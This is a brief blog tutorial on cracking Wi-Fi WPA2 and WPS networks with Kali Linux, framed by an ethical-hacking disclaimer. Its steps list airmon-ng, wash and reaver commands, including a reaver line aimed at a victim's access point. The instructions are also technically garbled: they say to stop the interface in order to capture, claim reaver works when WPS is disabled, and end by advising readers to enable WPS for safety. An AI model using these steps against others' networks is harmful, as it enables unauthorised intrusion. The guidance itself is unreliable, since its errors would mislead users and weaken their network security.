[Latest] How to Crack Wi-Fi (WPA2 & WPS) with Kali Linux

This content is details you on ethical hacking by describing to readers on how to hack or crack Wi-Fi, WPA 2 & WPS using Kali Linux.

For starters, Kali Linux is said to be a Debian-based Linux distribution that focuses on security audit and penetration testing. For those of you that are familiar with back track, the Kali Linux is a complete re-build of it which contains hundreds of tools to carry out security tasks, Forensics, penetration testing and reverse engineering.


In Kali linux, you can find up to 600 useful tools for penetration testing, and it’s an open source development and also free to use by anyone. It features wide-range wireless device support, custom kernels that are patched for injection, GPG signed packages and repositories, multi-language support, ARMEL and ARMHF support and developed in secured environments.  Already we know that as it is an open source, it’s meant to be completely customizable by anyone.

Just as I highlighted previously, Kali linux is used for penetration testing and other security tasks, and during the process, unsecured facility can fall victim if this tool falls in the wrong hands. And that brings us to the topic of the day, on how you can easily hack wifi, WPA2 & WPS using Kali Linux.


Disclaimer: We are publishing this guide for you to be security conscious by running penetration test on your wireless network, so you won’t fall victim of anyone trying to use the Kaili Linux to hack into your network. Please, Guruswizard won’t be held responsible if any readers goes contrary to the reason this guide was published. Execute all penetration test and security task at your risk.

How to Crack Wi-Fi (WPA2 & WPS) with Kali Linux

  • Firstly, log into your Kali linux and then plug in the injection cable wireless adapter.
  • Now, you’ll need to open terminals using “ctrl+alt+t”.
  • To check for the list of wireless devices, simply type “airmon-ng”.
  • To capture data of the wireless device, simply type “airmon-ng stop (interface name)”
  • Now, input this command, “wash -i (interface name)-c 8 -C –s” to verify if the WPS is enabled.
  • If the WPS isn’t enabled, then hacking it will be easy using reaver.
  • reaver -i <your_interface> -b <wi-fi victim MAC address> –fail-wait=360
  • That command will crack the password and it might take few minutes depending on the password of the wireless network.
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That’s it. Your hack will be successful in few minutes. So, if you’re security conscious, try to enable WPS on your wireless network, so others won’t be able to penetrate into your network easily. Hope you learnt something new today. Don’t forget to share this article with your friends on social networks.

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